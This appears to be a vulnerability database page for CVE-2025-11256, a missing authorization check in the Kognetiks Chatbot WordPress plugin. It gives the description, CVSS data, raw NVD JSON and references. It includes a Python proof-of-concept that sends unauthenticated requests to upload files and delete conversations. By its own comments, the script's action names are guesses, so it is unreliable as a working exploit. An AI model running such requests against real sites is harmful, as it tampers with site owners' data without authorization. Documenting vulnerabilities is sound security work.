Security Vulnerability Report
中文
CVE-2025-11256 CVSS 5.3 MEDIUM

CVE-2025-11256

Published: 2025-10-18 08:15:34
Last Modified: 2026-04-15 00:35:42

Description

The Kognetiks Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions in all versions up to, and including, 2.3.5. This makes it possible for unauthenticated attackers to upload limited safe files and erase conversations.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Kognetiks Chatbot ≤ 2.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11256 PoC - Kognetiks Chatbot Unauthorized Data Modification # Vulnerability: Missing capability check in file upload and conversation deletion functions import requests target_url = "https://target-wordpress-site.com" # Step 1: Upload a safe file via the unprotected endpoint # The plugin's file upload function lacks capability verification upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the file upload payload (e.g., a safe image file) files = { "file": ("test.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 100, "image/png") } data = { "action": "kognetiks_chatbot_upload_file", # Example action name } # Send the upload request without authentication response = requests.post(upload_endpoint, data=data, files=files) print(f"File Upload Response: {response.status_code} - {response.text}") # Step 2: Delete conversations via the unprotected endpoint delete_data = { "action": "kognetiks_chatbot_delete_conversation", # Example action name "conversation_id": "1", } # Send the delete request without authentication response = requests.post(upload_endpoint, data=delete_data) print(f"Delete Conversation Response: {response.status_code} - {response.text}") # Note: Actual action names and parameters may vary based on plugin version. # The vulnerability exists because these endpoints do not verify user capabilities # (current_user_can) or nonce tokens before processing the requests.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11256", "sourceIdentifier": "[email protected]", "published": "2025-10-18T08:15:33.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kognetiks Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions in all versions up to, and including, 2.3.5. This makes it possible for unauthenticated attackers to upload limited safe files and erase conversations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3380313%40chatbot-chatgpt&new=3380313%40chatbot-chatgpt&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3380317%40chatbot-chatgpt&new=3380317%40chatbot-chatgpt&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1c8fe389-ff44-4be3-889b-0006977f4f3c?source=cve", "source": "[email protected]"}]}}